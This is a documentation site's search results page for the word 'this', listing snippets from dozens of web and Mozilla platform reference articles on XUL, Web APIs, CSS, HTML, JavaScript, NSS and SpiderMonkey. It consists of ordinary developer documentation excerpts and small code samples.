this feature is non-standard and is not on a standards track.
... deprecated
this feature has been removed from the web standards.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of
this page to guide your decision.
...And 16 more matches
Tamarin build documentation - Archive of obsolete content
in
this document replace instances of tamarin-central with tamarin-redux to operate in the redux repository.
...in the xcode project,
this is the debug_debugger and release_debugger configurations.
...
this sdk/ndk *must* be used if you've cloned tamarin at changeset 5844:92ad3ca84a0b or later and will be using the cross-compile build method.
...And 16 more matches
Building accessible custom components in XUL - Archive of obsolete content
developers have been doing
this for some time, but the resulting controls were never as accessible as similar controls in desktop applications.
...
this has all been well-documented for some time.
...
this is not an accessibility requirement; as we'll see in the next section, the actual xul elements are irrelevant because we will define the role of each element in a separate attribute.
...And 16 more matches
ContextMenus - Archive of obsolete content
<hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in
this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu attribute.
...
this has the effect of disabling the context menu.
...
this might be called while initializing a window during a load event for example.
...And 16 more matches
Panels - Archive of obsolete content
<?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="details" type="panel"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in
this example.
... only buttons (and toolbarbuttons) have
this automatic behaviour which opens the popup when pressed.
...in
this case, you may wish to have the popup appear below the label instead.
...And 16 more matches
Adding Buttons - Archive of obsolete content
« previousnext » in
this section, we will look at how to add some simple buttons to a window.
...in
this section, we will add two buttons, a find button and a cancel button.
...
this element is used to create simple buttons.
...And 16 more matches
Anonymous Content - Archive of obsolete content
« previousnext » in
this section we'll look at creating content with xbl.
...
this is useful for creating a single widget that is made up of a set of other widgets, but can be referred to as only a single widget.
...om the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings>
this file contains a single binding, declared with the binding element.
...And 16 more matches
Skinning XUL Files by Hand - Archive of obsolete content
when
this day comes, skins defined in a global skin file will be applied to a whole application -- like the mozilla browser -- so that all the various windows and parts will look consistent.
...
this article can help you get started understanding skins and creating skins for xul.
...mozilla's current global skin defines
this basic behavior for several classes of button.
...And 16 more matches
Using Spacers - Archive of obsolete content
« previousnext » in
this section, we will find out how to add some spacing in between the elements we have created.
...applications that need to support multiple platforms and languages usually have their windows laid out with lots of space to allow for
this.
...we'll talk more about
this in the next section but it essentially allows you to divide a window into a series of boxes that hold elements.
...And 16 more matches
key - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 16 more matches
preference - Archive of obsolete content
this element must be placed inside a preferences element.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 16 more matches
Old Proxy API - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... terminology catch-all mechanism (or "intercession api") the technical term for
this feature.
...
this is analogous to the concept of traps in operating systems.
...And 16 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the recommended application/xhtml+xml.
... } </script> note that
this example is not well formed xhtml since the use of raw < is only allowed as a part of markup in xhtml or xml.
... <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script>
this example illustrates that a conformant browser can ignore content inside of comments.
...And 16 more matches
Writing JavaScript for XHTML - Archive of obsolete content
there are a number of reasons for
this.
...
this article shows some of the reasons alongside with strategies to remedy the problems.
...the code looks something like
this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick
this problem usually arises, when inline scripts are included in comments.
...And 16 more matches
Building up a basic demo with Three.js - Game development
in
this article we'll take you through the real basics of using three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo.
... before reading further, copy
this code to a new text file, and save it in your working directory as index.html.
...thanks to
this approach, a fallback can be used, if a desired technology is not supported by the browser.
...And 16 more matches
Efficient animation for web games - Game development
this article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones.
...the reason for
this is that css transitions/animations are much higher level than javascript, and express a very specific intent.
... because of
this, the browser can make some assumptions that it can’t easily make when you’re manually tweaking values in javascript.
...And 16 more matches
Styling tables - Learn web development
this article provides a guide to making html tables look good, with some specific table styling techniques highlighted.
...we need to use some css to fix
this up.
...to do
this, add the following css to your style.css file: /* spacing */ table { table-layout: fixed; width: 100%; border-collapse: collapse; border: 3px solid purple; } thead th:nth-child(1) { width: 30%; } thead th:nth-child(2) { width: 20%; } thead th:nth-child(3) { width: 15%; } thead th:nth-child(4) { width: 35%; } th, td { padding: 20px; } the most important parts to note are ...
...And 16 more matches
Styling lists - Learn web development
this article explains all.
...throughout
this article, we'll look at unordered, ordered, and description lists — all have styling features that are similar, and some that are particular to their type of list.
...
this means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent.
...And 16 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in
this article, we'll run through a number of important concepts relating to asynchronous programming, and how
this looks in web browsers and javascript.
... mac users, for example, sometimes experience
this as the spinning rainbow-colored cursor (or "beachball" as it is often called).
...
this cursor is how the operating system says "the current program you're using has had to stop and wait for something to finish up, and it's taking so long that i was worried you'd wonder what was going on."
this is a frustrating experience and isn't a good use of computer processing power — especially in an era in which computers have multiple processor cores available.
...And 16 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in
this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
...
this section recaps some of the information we saw in the previous article.
...let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = '
this is a newly-added paragraph.'; document.body.appendchild(pelem); }); in
this block, the lines are executed one after the other: we grab a reference to a <button> element that is already available in the dom.
...And 16 more matches
Limitations of chrome scripts
this page describes patterns that used to work in the chrome process that will no longer work in multiprocess firefox.
...
this is one of a pair of articles: the other one lists limitations of frame scripts.
... the rest of
this page documents patterns that don't work in multiprocess firefox as well as how are shims try to paper over the problem.
...And 16 more matches
SourceMap.jsm
according to the spec, source maps have the following attributes: version: which version of the source map spec
this map is following.
... file: the generated filename
this source map is associated with.
... and an object is returned with the following properties: source: the original source file, or null if
this information is not available.
...And 16 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
this is the main symptom of the problem when mozilla based browsers encounter tls/ssl 3.0 intolerant servers.
...
this incorrect implementation causes them to reject connection attempts from clients that are compliant with the ssl 3.0 and tls (aka ssl 3.1) specifications.
... netscape 6.x/7.x and mozilla browsers (0.9.1 and later versions) correctly implement the tls specification, and the users cannot utilize sites which have
this problem.
...And 16 more matches
pkfnc.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference pkcs #11 functions chapter 7 pkcs #11 functions
this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
...And 16 more matches
sslintro.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
...
this chapter introduces some of the basic ssl functions.
...And 16 more matches
Scripting Java
this article shows how to use rhino to reach beyond javascript into java.
...as we will see, scripting makes
this process easier.
...all the functionality covered in
this chapter should thus be considered an extension.
...And 16 more matches
JS::CompileOptions
this article covers features introduced in spidermonkey 17 compile options classes.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...And 16 more matches
SpiderMonkey 1.8.7
draft in progress -
this is a draft, and right now it's mostly just a copy of the 1.8.5 release notes.
... please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...migrating to spidermonkey 1.8.7
this covers migrating from version 1.8.5.
...And 16 more matches
Components.utils.Sandbox
so
this can be simply an array with a single element.
... for example the content principal above can be made expanded/extended like so: var principal = [gbrowser.selectedtab.linkedbrowser.contentprincipal]; //
this is now an expanded (aka extended) principal var sandbox = components.utils.sandbox(principal); null principal you can create a null principal using code like: cc["@mozilla.org/nullprincipal;1"].createinstance(ci.nsiprincipal); from firefox 37 onwards, you can also specify the null principal by simply passing null as the principal argument.
...
this parameter is an object with the following optional properties: freshzone if true creates a new gc region separate from both the calling context's and the sandbox prototype's region.
...And 16 more matches
nsCString
class declaration
this is the canonical null-terminated string class.
... instances of
this class allocate strings on the heap.
... names: nsstring for wide characters nscstring for narrow characters
this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
...And 16 more matches
jsdIStackFrame
js/jsd/idl/jsdidebuggerservice.idlscriptable please add a summary to
this article.
...private data for
this object is an nsisupports object.
... attempting to alter
this bit will result in an ns_error_illegal_value.
...And 16 more matches
nsIAuthInformation
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() provides an object implementing
this interface; the prompt implementation can then read the values here to prefill the dialog.
... after the user entered the authentication information, it should set the attributes of
this object to indicate to the caller what was entered by the user.
... attributes attribute type description authenticationscheme autf8string the authentication scheme used for
this request, if applicable.
...And 16 more matches
nsIChannelEventSink
netwerk/base/public/nsichanneleventsink.idlscriptable implement
this interface to gain control over various channel events, such as redirects.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get
this interface from a channel's notificationcallbacks or, if not available there, from the loadgroup's notificationcallbacks.
...starting in gecko 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called;
this uses a callback to handle redirects asynchronously.
...And 16 more matches
nsICryptoHash
netwerk/base/public/nsicryptohash.idlscriptable
this interface can be used to compute a cryptographic hash function of some data.
... note:
this method may be called any time after " ..
...
this call resets the object.
...And 16 more matches
nsIJSON
dom/interfaces/json/nsijson.idlscriptable
this interface provides a convenient way to encode and decode json strings from javascript code.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) note:
this interface may only be used from javascript code, with the exception of the legacydecodetojsval() method.
...to create an instance, use: var nativejson = components.classes["@mozilla.org/dom/json;1"] .createinstance(components.interfaces.nsijson); method overview note: the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of
this article, we'll pretend they can be and ignore that issue.
...And 16 more matches
nsINavHistoryObserver
toolkit/components/places/nsinavhistoryservice.idlscriptable
this interface is similar to the nsirdfobserver class, but is used to observe interactions on the global history.
...you can still access the database in
this situation but be careful (of what?).
... methods onbeforedeleteuri() obsolete since gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) note:
this method was removed in gecko 21.0 as part of bug 826409.
...And 16 more matches
nsIXULTemplateQueryProcessor
a breadth-first search of the first action is performed to find
this element.
...for example, a query might have the following syntax: (?id, ?name, ?url) from bookmarks where parentfolder = ?start
this query might generate a result for each bookmark within a given folder.
...
this function will never be called after generateresults().
...And 16 more matches
nsIZipWriter
modules/libjar/zipwriter/public/nsizipwriter.idlscriptable
this interface provides an easy way for scripts to archive data in the zip file format.
...
this is the path it will be located at within the zip file.
...(a forward slash is '/') detail:
this azipentry is very important,
this example demonstrates its usage: var zw = cc['@mozilla.org/zipwriter;1'].createinstance(ci.nsizipwriter); var myzipfile = fu.file('c:\\myzipfile.zip'); //
this file will be creatd in c drive var pr = {pr_rdonly: 0x01, pr_wronly: 0x02, pr_rdwr: 0x04, pr_create_file: 0x08, pr_append: 0x10, pr_truncate: 0x20, pr_sync: 0x40, pr_excl: 0x80}; zw.open(xpi, pr.pr_wronly ...
...And 16 more matches
Weak reference
why do i need
this?
...
this isn't always appropriate, and can lead to trouble.
... if, for instance,
this owning reference is part of a cycle of owning references (e.g., if the referenced object also holds a owning reference back to you), then none of the objects in the cycle can be reclaimed without taking special measures.
...And 16 more matches
Xray vision
because
this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user.
...a web page could redefine it to return true: window.confirm = function() { return true; } any privileged code calling
this function and expecting its result to represent user confirmation would be deceived.
...
this would be very naive, of course, but there are more subtle ways in which accessing content objects from chrome can cause security problems.
...And 16 more matches
Debugger.Environment - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.environment instances refer to the same environment in the debuggee, and place its own properties on a debugger.environment instance to store metadata about particular environments.
...
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.) if a debugger.environment instance’s referent is not a debuggee environment, then attempting to access its properties (other than inspectable) or call any its methods throws an instance of error.
... accessor properties of the debugger.environment prototype object a debugger.environment instance inherits the following accessor properties from its prototype: inspectable true if
this environment is a debuggee environment, and can therefore be inspected.
...And 16 more matches
Debugger.Source - Firefox Developer Tools
in
this case, there may be either a single debugger.source instance for the entire html document, with each debugger.script referring to its substring of the document; or there may be a separate debugger.source instance for each <script> element and attribute.
... please note at the time of
this writing, support for webassembly is very preliminary.
...the text generation is disabled if the debugger has the allowwasmbinarysource property set, the "[wasm]" value will be returned in
this case.
...And 16 more matches
Intensive JavaScript - Firefox Developer Tools
this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience.
... in
this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approaches to fixing them.
... there's also a video version of
this walkthrough: the demo website looks like
this: it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker.
...And 16 more matches
Basic animations - Web APIs
in
this chapter we will take a look at how to do some basic animations.
...the easiest way to do
this is using the clearrect() method.
...there are two ways to control an animation like
this.
...And 16 more matches
Guide to the Fullscreen API - Web APIs
this article demonstrates how to use the fullscreen api to place a given element into full-screen mode, as well as how to detect when the browser enters or exits full-screen mode.
... let's consider
this <video> element: <video controls id="myvideo"> <source src="somevideo.webm"></source> <source src="somevideo.mp4"></source> </video> we can put that video into full-screen mode as follows: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); }
this code checks for the existence of the requestfullscreen() method before calling it.
... presentation differences it's worth noting a key difference here between the gecko and webkit implementations at
this time: gecko automatically adds css rules to the element to stretch it to fill the screen: "width: 100%; height: 100%".
...And 16 more matches
HTMLImageElement - Web APIs
that means
this value is also true if the image has no src value indicating an image to load.
... htmlimageelement.crossorigin a domstring specifying the cors setting for
this image element.
...
this may be null if cors is not used.
...And 16 more matches
Checking when a deadline is due - Web APIs
in
this article we look at a complex example involving checking the current time and date against a deadline stored via indexeddb.
... the main example application we will be referring to in
this article is to-do list notifications, a simple to-do list application that stores task titles and deadline times and dates via indexeddb, and then provides users with notifications when deadline dates are reached, via the notification, and vibration apis.
...
this would be easy if we were just comparing two date objects, but of course humans don't want to enter deadline information in the same format javascript understands.
...And 16 more matches
WebRTC API - Web APIs
webrtc consists of several interrelated apis and protocols which work together to achieve
this.
...
this can be used for back-channel information, metadata exchange, game status packets, file transfers, or even as a primary channel for data transfer.
...the only event sent with
this interface is datachannel.
...And 16 more matches
Using bounded reference spaces - Web APIs
this article examines bounded reference spaces as represented by xrboundedreferencespace, describing what they are and how they're used.
...
this is the only type of bounded reference space currently available; in all others, if you need boundaries, you will have to manage them yourself.
... note that if the underlying platform defines a fixed room-scale origin and boundary, it may initialize any uninitialized values to match that predefined information;
this is not unexpected behavior for users of these platforms.
...And 16 more matches
Using IIR filters - Web APIs
the iirfilternode interface of the web audio api is an audionode processor that implements a general infinite impulse response (iir) filter;
this type of filter can be used to implement tone control devices and graphic equalizers, and the filter response parameters can be specified, so that it can be tuned as needed.
...
this article looks at how to implement one, and use it in a simple example.
... demo our simple example for
this guide provides a play/pause button that starts and pauses audio play, and a toggle that turns an iir filter on and off, altering the tone of the sound.
...And 16 more matches
window.postMessage() - Web APIs
window.postmessage() provides a controlled mechanism to securely circumvent
this restriction (if used properly).
...the receiving window is then free to handle
this event as needed.
...methods for obtaining such a reference include: window.open (to spawn a new window and then reference it), window.opener (to reference the window that spawned
this one), htmliframeelement.contentwindow (to reference an embedded <iframe> from its parent window), window.parent (to reference the parent window from within an embedded <iframe>), or window.frames + an index value (named or numeric).
...And 16 more matches
@font-feature-values - CSS: Cascading Style Sheets
this can help simplify your css when using multiple fonts.
... browser compatibility the compatibility table on
this page is generated from structured data.
...fari on iossamsung internet@font-feature-valueschrome no support noedge no support nofirefox full support 34 full support 34 full support 24disabled disabled from version 24:
this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
...And 16 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
in
this guide we are going to look at how these two things work together when we use named lines.
... line naming is incredibly useful, but some of the more baffling looking grid syntax comes from
this combination of names and track sizes.
...
this time i’ll create the grid using named lines.
...And 16 more matches
Media buffering, seeking, and time ranges - Developer guides
sometimes it's useful to know how much <audio> or <video> has downloaded or is playable without delay — a good example of
this is the buffered progress bar of an audio or video player.
...
this article discusses how to build a buffer/seek bar using timeranges, and other features of the media api.
...
this is usually contiguous but if the user jumps about while media is buffering, it may contain holes.
...And 16 more matches
<colgroup> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecolelement attributes
this element's attributes include the global attributes.
... span
this attribute contains a positive integer indicating the number of consecutive columns the <colgroup> element spans.
...And 16 more matches
HTTP Public Key Pinning (HPKP) - HTTP
to ensure the authenticity of a server's public key used in tls sessions,
this public key is wrapped into a x.509 certificate which is usually signed by a certificate authority (ca).
...hpkp can circumvent
this threat for the https protocol by telling the client which public key belongs to a certain web server.
...the first time a web server tells a client via a special http header which public keys belong to it, the client stores
this information for a given period of time.
...And 16 more matches
Expressions and operators - JavaScript
« previousnext »
this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
...
this section describes the operators and contains information about operator precedence.
...
this behavior generally results in comparing the operands numerically.
...And 16 more matches
Classes - JavaScript
class rectangle { constructor(height, width) {
this.height = height;
this.width = width; } } hoisting an important difference between function declarations and class declarations is that function declarations are hoisted and class declarations are not.
... // unnamed let rectangle = class { constructor(height, width) {
this.height = height;
this.width = width; } }; console.log(rectangle.name); // output: "rectangle" // named let rectangle = class rectangle2 { constructor(height, width) {
this.height = height;
this.width = width; } }; console.log(rectangle.name); // output: "rectangle2" note: class expressions are subject to the same hoisting restrictions as described in the class declarations s...
...
this is where you define class members, such as methods or constructor.
...And 16 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« previousnext »
this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes.
... specifically,
this sample displays a stock quote in the status bar, and, when you mouse over it, displays a tooltip containing more detailed information about the stock.
...download the sample you can download a copy of
this sample to look over, or to use as the basis for your own extension.
...And 15 more matches
Drag and Drop - Archive of obsolete content
this section describes how to implement objects that can be dragged around and dropped onto other objects.
...the script in
this handler should set up a drag session.
... ondragstart an alias for ondraggesture;
this is the html 5 spec name for the event and may be used in html or xul; however, for backward compatibility with older versions of firefox, you may wish to continue using ondraggesture in xul.
...And 15 more matches
Repackaging Firefox - Archive of obsolete content
because firefox is designed from the ground up for extensibility and customization,
this process is simple and easy to maintain.
...to do
this, please contact trademarks@mozilla.com.
...at the time of writing
this document, the latest builds are here.
...And 15 more matches
Monitoring downloads - Archive of obsolete content
obsolete
this feature is obsolete.
...try to avoid using it.
this interface is deprecated as of firefox 26.
...
this article demonstrates how to monitor downloads in firefox 3, using the download manager.
...And 15 more matches
New Security Model for Web Services - Archive of obsolete content
securing resources from untrusted scripts behind firewalls introduction
this page describes an alternative mechanism which can be used to protect all internal resources against requests from sandboxed scripts.
...
this should especially be implemented for soap calls by untrusted scripts.
...
this policy has generally been successful in sandboxing javascript and java applets across the web.
...And 15 more matches
The new nsString class implementation (1999) - Archive of obsolete content
in fact, it's very unlikely
this is really the page you want.
... if you happen to see dbaron lying around somewhere, please direct him here so he can fix
this message.
...
this document is intended to briefly describe the new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns.
...And 15 more matches
Creating XPI Installer Modules - Archive of obsolete content
introduction
this article is rather old and only applies to mozilla suite and seamonkey (until it gets converted to toolkit).
...
this new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall.
... a xpi file typically contains the resources to be installed (in
this case the barley.jar we want to have installed in the mozilla/bin/chrome/ directory) and an install script that guides the installation process.
...And 15 more matches
Result Generation - Archive of obsolete content
« previousnext » rdf in
this section, we'll look at generating template output using rdf datasources.
...in
this example, all the arrows have the same label.
... usually,
this won't be the case.
...And 15 more matches
Document Object Model - Archive of obsolete content
the dom structure may be examined and modified using various methods provided for
this purpose.
...naturally,
this global object will be different for each window.
... the window is often referred to using the window property, although
this is optional.
...And 15 more matches
XPCOM Interfaces - Archive of obsolete content
« previousnext » in
this section, we'll take a brief look at xpcom (cross-platform component object model), which is the object system that mozilla uses.
... the only way to handle
this would be to write native code that would get mail.
...after learning
this section, you can search suitable interfaces using xulplanet xpcom reference about xpcom mozilla is constructed from a collection of components, each of which performs a certain task.
...And 15 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
this package contains a special skin called theglobal skin.
...
this may seem obvious, but many of the nastiest problems we're seeing are being caused by people writing buggy or syntactically incorrect css.
...for example, the skin for the navigator package should contain a file called navigator.css that determines the default look of all xul windows posed from
this package.
...And 15 more matches
XUL accessibility guidelines - Archive of obsolete content
it can also be set programmatically with the tabindex attribute if needed, but
this should be done sparingly and thoroughly tested whenever it is used.
...it is therefore necessary to provide a keyboard accessible alternative for accessing
this functionality.
...in the bookmark manager
this functionality is available under the view menu which is accessible to a keyboard user.
...And 15 more matches
toolbar - Archive of obsolete content
this means that the palette now only contains items not already in the toolbar.
...
this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar items by looking in the toolbarpalette.
...
this only has an effect on windows and needs to be combined with type="menubar" and a menubar element.
...And 15 more matches
What is RSS - Archive of obsolete content
this page explains what rss is.
...
this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss.
... so at
this point netscape deprecated the rdf-based rss 0.90 and told everyone to use netscape's rss 0.91, which was xml-based.
...And 15 more matches
Other form controls - Learn web development
<textarea cols="30" rows="8"></textarea>
this renders like so: the main difference between a <textarea> and a regular single line text field is that users are allowed to include hard line breaks (i.e.
...
this is effectively the starting width, as it can be changed by resizing the <textarea>, and overriden using css.
...
this is effectively the starting height, as it can be changed by resizing the <textarea>, and overriden using css.
...And 15 more matches
Multiple Firefox profiles
this list is by no means exhaustive.
... the one being run by
this firefox instance will include the bold text "
this is the profile in use" for example, if you find that text beneath the entry for "profile: suzie", then you are running in a profile named suzie.
...
this will launch firefox immediately.
...And 15 more matches
QA phase
since such is the case,
this part of the guide may not be entirely applicable to you.
... preliminary instructions we will be using the following file directories for
this example: your working directory (root)/ mozilla-aurora (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-aurora )/ l10n-central (directory for l10n directories, one per l10n; often referred to as "l10n base")/ your-locale-code (a directory with your l10n files, in
this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing addit...
...
this is due to a bug in the build logic.
...And 15 more matches
Using the viewport meta tag to control layout on mobile browsers
this is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content.
...
this is done because many pages are not mobile optimized, and break (or at least look bad) when rendered at a small viewport width.
...
this virtual viewport is a way to make non-mobile-optimized sites in general look better on narrow screen devices.
...And 15 more matches
A guide to searching crash reports
please read the documentation about individual crash reports before reading
this page.
...
this guide to searching through crash reports may help you locate the crash reports that will help you find and fix the firefox bug you're working on.
...
this brings up a search form like the one in the following screenshot.
...And 15 more matches
Introduction to NSPR
this chapter introduces key nspr programming concepts and illustrates them with sample code.
... nspr naming conventions naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed by intercap-style declarations, like
this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like
this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase characters separated with the underscore character (_), like
this: pr_bytes_per_short, pr_extern nspr threads nspr provides an execution environment that promotes the use of li...
...
this, and the fact that threads share an address space with other threads in the same process, makes it important to remember that threads are not processes .
...And 15 more matches
NSS tools : crlutil
synopsis crlutil [options] [[arguments]] status
this documentation is still work in progress.
...
this document discusses certificate revocation list management.
...
this option is provided as a special case.
...And 15 more matches
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of common javascript idioms.
... // javascript var global =
this; there is a function, js_getglobalforscopechain(cx), that makes a best guess, and sometimes that is the best that can be done.
... but in a jsnative the correct way to do
this is: /* jsapi */ bool mynative(jscontext *cx, unsigned argc, js::value *vp) { js::callargs args = js::callargsfromvp(argc, vp); jsobject *global = js_getglobalforobject(cx, &args.callee()); ...
...And 15 more matches
Gecko object attributes
this is in contrast to text attributes, which apply only to substrings in a text object.
...
this is useful for retrieving microformat semantics for an element.
... applied to: any role which related dom node has id attribute tag the actual markup tag used to create
this element (also used in xul).
...And 15 more matches
nsString
class declaration
this is the canonical null-terminated string class.
... instances of
this class allocate strings on the heap.
... names: nsstring for wide characters nscstring for narrow characters
this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
...And 15 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3)
this enum defines values which specify a text() boundary type.
...when a method doesn't implement
this method it must return s_false.
... typically
this feature would not be implemented by an application.
...And 15 more matches
nsIAccessibleStates
accessible/public/nsiaccessiblestates.idlscriptable please add a summary to
this article.
... state_selected 0x00000002 the object is selected, that is it indicates
this object is the child of an object that allows its children to be selected and that
this child is one of those children that has been selected.
... state_default 0x00000100
this state represents the default button in a window.
...And 15 more matches
nsIHttpServer
(not supported) * @param function callback optional callback */ listen: function(port, opt, callback) { if (arguments.length == 2 && "function" == typeof opt) { callback = opt; } if (callback) {
this.registerprefixhandler("/", callback); } let host = "localhost"; if (typeof port === "string" && port.indexof(':') != -1){ [host, port] = port.split(':'); port = parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._start(port, host); return true; ...
...; }); }, close: function(){ server.stop(function(){}); }, get port() { return server.identity.primaryport } } } reference : mozilla-release/netwerk/test/httpserver/nsihttpserver.idl [scriptable, uuid(cea8812e-faa6-4013-9396-f9936cbb74ec)] interface nsihttpserver : nsisupports { /** * starts up
this server, listening upon the given port.
... * * @param port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if
this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * behavior is undefined if
this method is called after stop() has been * called on
this but before the provided callback function has been * called.
...And 15 more matches
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a summary to
this article.
...method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands
this allows the backend code to send commands to the ui, such as clearmsgpane.
... statusfeedback nsimsgstatusfeedback
this allows the backend code to send status feedback to the ui.
...And 15 more matches
nsIProcess
xpcom/threads/nsiprocess.idlscriptable
this interface represents an executable process.
...
this is only valid after the process has exited.
... gecko 1.9.1 note
this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2.
...And 15 more matches
nsISupports proxies
obsolete since gecko 12 (firefox 12 / thunderbird 12 / seamonkey 2.9)
this feature is obsolete.
...
this technology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions.
... about xpcom proxies a proxy, in
this context, is a stub object which enables a method of any class which is derived from nsisupports and has a typelib to be called on any in-process thread.
...And 15 more matches
nsITreeView
layout/xul/base/src/tree/public/nsitreeview.idlscriptable
this interface is used by the tree widget to get information about what and how to display a tree widget.
... selection nsitreeselection the selection for
this view.
... datatransfer
this parameter, added in gecko 1.9.2, provides the data being dragged, so that it can be examined to determine if a drop is possible.
...And 15 more matches
nsIXPCScriptable
note:
this is not really an xpcom interface.
... js/src/xpconnect/idl/nsixpcscriptable.idlnot scriptable please add a summary to
this article.
...tive wrapper, in jscontextptr cx, in jsobjectptr obj); jsobjectptr innerobject(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreateprototype(in jscontextptr cx, in jsobjectptr proto); attributes attribute type description classname string scriptableflags pruint32 the bitwise or'd set of flags (define below) that indicate the behavior of
this object.
...And 15 more matches
Xptcall Porting Status
what is
this?
...
this is a status page for the multiplatform porting of xptcall.
...
this is being maintained by john bandhauer <jband@netscape.com>.
...And 15 more matches
Mail and RDF
warning: the content of
this article may be out of date.
...
this allows exposure of mailnews-specific data to user interface using rdf templates.
... you should learn about rdf before reading
this document or you will be hopelessly confused.
...And 15 more matches
Working with windows in chrome code
